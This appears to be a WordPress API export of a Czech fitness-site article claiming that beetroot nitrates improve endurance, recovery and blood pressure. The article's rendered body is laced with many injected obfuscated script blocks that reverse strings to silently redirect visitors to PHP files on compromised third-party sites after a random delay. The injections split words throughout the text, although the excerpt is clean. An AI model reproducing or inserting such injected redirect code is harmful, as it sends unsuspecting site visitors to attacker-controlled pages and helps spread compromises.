delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce bezpochyby v\u00edtan\u00e1 zpr\u00e1va. V\u00a0r\u00e1mci dal\u0161\u00ed studie bylo zji\u0161t\u011bno, \u017ee NO m\u00e1 p\u0159\u00edzniv\u00fd vliv na pam\u011b\u0165, posiluje imunitu, tlum\u00ed z\u00e1n\u011btliv\u00e9 procesy, zlep\u0161uje kvalitu sp\u00e1nku a podporuje tr\u00e1ven\u00ed \u2013 i <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jsou pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce zaj\u00edmav\u00e9 informace.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>SPORTOVCI A \u0158EPA<\/strong><\/p>\n<p>Fakt, \u017ee se \u010derven\u00e1 \u0159epa t\u011b\u0161\u00ed mezi spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci tak skv\u011bl\u00e9 pov\u011bsti, je d\u016fsledkem labora<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>torn\u00edch v\u00fdzkum\u016f i praxe. A zde je p\u00e1r opravdu zaj\u00edmav\u00fdch post\u0159eh\u016f potvrzen\u00fdch na z\u00e1klad\u011b v\u00fdzkum\u016f:<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u010cerven\u00e1 \u0159epa m\u00e1 vliv na vytrvalost. <\/strong>Podle britsk\u00e9 studie, jej\u00ed\u017e v\u00fdsledky p\u0159inesl \u010dasopis <em>Journal of Applied Physiology<\/em>, byli sledovan\u00ed jedinci u\u017e\u00edvaj\u00edc\u00ed pr\u00e1\u0161ek z\u00a0\u010derven\u00e9 \u0159epy v\u00a0bio kvalit\u011b schopni pod\u00e1vat intenzivn\u00ed v\u00fdkon ve \u0161lap\u00e1n\u00ed na kole v\u00a0pr\u016fm\u011bru o 92 sekund d\u00e9le ne\u017e skupina, kter\u00e1 dost\u00e1vala placebo.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-170 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/08\/beet-545775_640-300x200.jpg\" alt=\"\" width=\"410\" height=\"273\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/08\/beet-545775_640-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/08\/beet-545775_640.jpg 640w\" sizes=\"auto, (max-width: 410px) 100vw, 410px\" \/>\u010cerven\u00e1 \u0159epa ovliv\u0148uje anaerobn\u00ed v\u00fdkon. <\/strong>V\u00a0\u010dasopise <em>Nutrients<\/em> se objevily v\u00fdsledky italsk\u00e9 studie, kter\u00e1 p\u0159i\u0161la se z\u00e1v\u011brem, \u017ee d\u00edky \u010derven\u00e9 \u0159ep\u011b se zlep\u0161ily v\u00fdkony u plavc\u016f, u nich\u017e byla konkr\u00e9tn\u011b zaznamenan\u00e1 posunut\u00e1 hranice anaerobn\u00edho v\u00fdkonu.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u010cerven\u00e1 \u0159epa zvy\u0161uje vytrvalost p\u0159i intervalov\u00e9m tr\u00e9ninku o vysok\u00e9 intenzit\u011b. <\/strong>V\u00a0roce 2018 p\u0159inesl \u010dasopis <em>Journal of the International Society of Sports Nutrition<\/em> z\u00e1v\u011bry studie, kter\u00e9 ukazuj\u00ed, \u017ee \u010derven\u00e1 \u0159epa zvy\u0161uje svalovou v\u00fdkonnost b\u011bhem HIIT, CrossFi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fdch tr\u00e9nink\u016f i standardn\u00edch kruhov\u00fdch posilovac\u00edch tr\u00e9nink\u016f.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u010cerven\u00e1 \u0159epa podporuje regeneraci. <\/strong><em>European Journal of Applied Physiology<\/em> p\u0159i\u0161el s\u00a0v\u00fdsledky studie, kter\u00e9 jasn\u011b ukazuj\u00ed, \u017ee \u0161\u0165\u00e1va z\u00a0\u010derven\u00e9 \u0159epy tlum\u00ed bolest i po\u0161kozen\u00ed sval\u016f po tr\u00e9ninku.<\/p>\n<p>&nbsp;<\/p>\n<p>Dejte si tedy p\u0159ed cvi\u010den\u00edm d\u00e1vku suplementu s\u00a0obsahem \u010derven\u00e9 \u0159epy a uvid\u00edte, jestli d\u00edky \u010derven\u00e9 budete m\u00edt ve v\u00fdkonech zelenou.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jim Schmaltz &nbsp; V\u00fdta\u017eek z\u00a0\u010derven\u00e9 \u0159epy dob\u00fdv\u00e1 suplementov\u00fd pr\u016fmysl. A hned si pov\u00edme pro\u010d. &nbsp; Term\u00edn \u201esuperpotravina\u201c je mnohdy sp\u00ed\u0161e marketingov\u00fdm trikem ne\u017e realitou. Ale jsou i potraviny, kter\u00e9 si zaslou\u017e\u00ed b\u00fdt takto ozna\u010dov\u00e1ny. Jejich \u00fa\u010dinky jsou dolo\u017eeny na z\u00e1klad\u011b klinick\u00fdch studi\u00ed a my bychom jim t\u00edm p\u00e1dem m\u011bli v\u011bnovat pozornost. T\u0159eba takov\u00e1 \u010derven\u00e1 \u0159epa. Nikdo nepochybuje o tom, \u017ee je to zdrav\u00e1 zelenina. Mezi v\u00fdkonnostn\u00edmi sportovci se ale v\u00a0posledn\u00edch letech st\u00e1v\u00e1 velk\u00fdm hitem a st\u0159edem pozornosti b\u00fdv\u00e1 i mezi lidmi, kte\u0159\u00ed trp\u00ed kardiovaskul\u00e1rn\u00edmi probl\u00e9my. D\u00edky \u010demu si zaslou\u017eila pov\u011bst superpotraviny? Pod\u00edvejme se na to trochu v\u011bdecky. &nbsp; V\u0160E SE TO\u010c\u00cd KOLEM \u201eNO\u201c \u010cerven\u00e1 \u0159epa je sou\u010d\u00e1st\u00ed na\u0161eho j\u00eddeln\u00ed\u010dku u\u017e n\u011bkolik stolet\u00ed. Ve st\u0159edov\u011bku se pou\u017e\u00edvala k\u00a0l\u00e9\u010db\u011b nemoc\u00ed krve a tr\u00e1vic\u00edho traktu. A\u017e v\u00a0posledn\u00edch 15 letech se ale v\u011bdci zaob\u00edraj\u00ed t\u00edm, jak\u00e9 konkr\u00e9tn\u00ed \u00fa\u010dinn\u00e9 l\u00e1tky stoj\u00ed za t\u011bmito l\u00e9\u010div\u00fdmi \u00fa\u010dinky. A v\u0161e ukazuje na nitr\u00e1ty a nejr\u016fzn\u011bj\u0161\u00ed antioxidanty. \u010casopis The Journal of Nutrition p\u0159inesl shrnut\u00ed 16 studi\u00ed, v\u00a0r\u00e1mci nich\u017e v\u011bdci zjistili, \u017ee \u0161\u0165\u00e1va z\u00a0\u010derven\u00e9 \u0159epy m\u00e1 v\u00fdrazn\u00fd vliv na sn\u00ed\u017een\u00ed systolick\u00e9ho tlaku, a to d\u00edky vysok\u00e9mu obsahu nitr\u00e1tu (NO3), kter\u00fd t\u011blo m\u011bn\u00ed na biologicky aktivn\u00ed NO2 a NO. \u201eTato studie ukazuje, \u017ee sklenice \u0161\u0165\u00e1vy z\u00a0\u010derven\u00e9 \u0159epy konzumovan\u00e1 pravideln\u011b ka\u017ed\u00fd den, m\u016f\u017ee sn\u00ed\u017eit krevn\u00ed tlak u lid\u00ed s\u00a0hypertenz\u00ed \u2013 a to dokonce i u t\u011bch, u nich\u017e nen\u00ed vysok\u00fd krevn\u00ed tlak ovliv\u0148ov\u00e1n l\u00e9ky,\u201c \u0159\u00edk\u00e1 Shannon Amoils, M.D., v\u00fdzkumn\u00e1 pracovnice z\u00a0British Heart Foundation. NO je vasodilat\u00e1tor, to znamen\u00e1, \u017ee roz\u0161i\u0159uje c\u00e9vy a podporuje prokrven\u00ed. To n\u00e1sledn\u011b vede ke sn\u00ed\u017een\u00ed krevn\u00edho tlaku a sou\u010dasn\u011b se d\u00edky tomu do pracuj\u00edc\u00edch sval\u016f dost\u00e1v\u00e1 v\u00edce \u017eivin a kysl\u00edku, co\u017e je pro sportovce bezpochyby v\u00edtan\u00e1 zpr\u00e1va. V\u00a0r\u00e1mci dal\u0161\u00ed studie bylo zji\u0161t\u011bno, \u017ee NO m\u00e1 p\u0159\u00edzniv\u00fd vliv na pam\u011b\u0165, posiluje imunitu, tlum\u00ed z\u00e1n\u011btliv\u00e9 procesy, zlep\u0161uje kvalitu sp\u00e1nku a podporuje tr\u00e1ven\u00ed \u2013 i to jsou pro sportovce zaj\u00edmav\u00e9 informace. &nbsp; SPORTOVCI A \u0158EPA Fakt, \u017ee se \u010derven\u00e1 \u0159epa t\u011b\u0161\u00ed mezi sportovci tak skv\u011bl\u00e9 pov\u011bsti, je d\u016fsledkem laboratorn\u00edch v\u00fdzkum\u016f i praxe. A zde je p\u00e1r opravdu zaj\u00edmav\u00fdch post\u0159eh\u016f potvrzen\u00fdch na z\u00e1klad\u011b v\u00fdzkum\u016f: &nbsp; \u010cerven\u00e1 \u0159epa m\u00e1 vliv na vytrvalost. Podle britsk\u00e9 studie, jej\u00ed\u017e v\u00fdsledky p\u0159inesl \u010dasopis Journal of Applied Physiology, byli sledovan\u00ed jedinci u\u017e\u00edvaj\u00edc\u00ed pr\u00e1\u0161ek z\u00a0\u010derven\u00e9 \u0159epy v\u00a0bio kvalit\u011b schopni pod\u00e1vat intenzivn\u00ed v\u00fdkon ve \u0161lap\u00e1n\u00ed na kole v\u00a0pr\u016fm\u011bru o 92 sekund d\u00e9le ne\u017e skupina, kter\u00e1 dost\u00e1vala placebo. &nbsp; \u010cerven\u00e1 \u0159epa ovliv\u0148uje anaerobn\u00ed v\u00fdkon. V\u00a0\u010dasopise Nutrients se objevily v\u00fdsledky italsk\u00e9 studie, kter\u00e1 p\u0159i\u0161la se z\u00e1v\u011brem, \u017ee d\u00edky \u010derven\u00e9 \u0159ep\u011b se zlep\u0161ily v\u00fdkony u plavc\u016f, u nich\u017e byla konkr\u00e9tn\u011b zaznamenan\u00e1 posunut\u00e1 hranice anaerobn\u00edho v\u00fdkonu. &nbsp; \u010cerven\u00e1 \u0159epa zvy\u0161uje vytrvalost p\u0159i intervalov\u00e9m tr\u00e9ninku o vysok\u00e9 intenzit\u011b. V\u00a0roce 2018 p\u0159inesl \u010dasopis Journal of the International Society of Sports Nutrition z\u00e1v\u011bry studie, kter\u00e9 ukazuj\u00ed, \u017ee \u010derven\u00e1 \u0159epa zvy\u0161uje svalovou v\u00fdkonnost b\u011bhem HIIT, CrossFitov\u00fdch tr\u00e9nink\u016f i standardn\u00edch kruhov\u00fdch posilovac\u00edch tr\u00e9nink\u016f. &nbsp; \u010cerven\u00e1 \u0159epa podporuje regeneraci. European Journal of Applied Physiology p\u0159i\u0161el s\u00a0v\u00fdsledky studie, kter\u00e9 jasn\u011b ukazuj\u00ed, \u017ee \u0161\u0165\u00e1va z\u00a0\u010derven\u00e9 \u0159epy tlum\u00ed bolest i po\u0161kozen\u00ed sval\u016f po tr\u00e9ninku. &nbsp; Dejte si tedy p\u0159ed cvi\u010den\u00edm d\u00e1vku suplementu s\u00a0obsahem \u010derven\u00e9 \u0159epy a uvid\u00edte, jestli d\u00edky \u010derven\u00e9 budete m\u00edt ve v\u00fdkonech zelenou.<\/p>\n","protected":false},"author":2,"featured_media":169,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-168","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/168","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=168"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/168\/revisions"}],"predecessor-version":[{"id":172,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/168\/revisions\/172"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/169"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=168"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=168"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=168"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}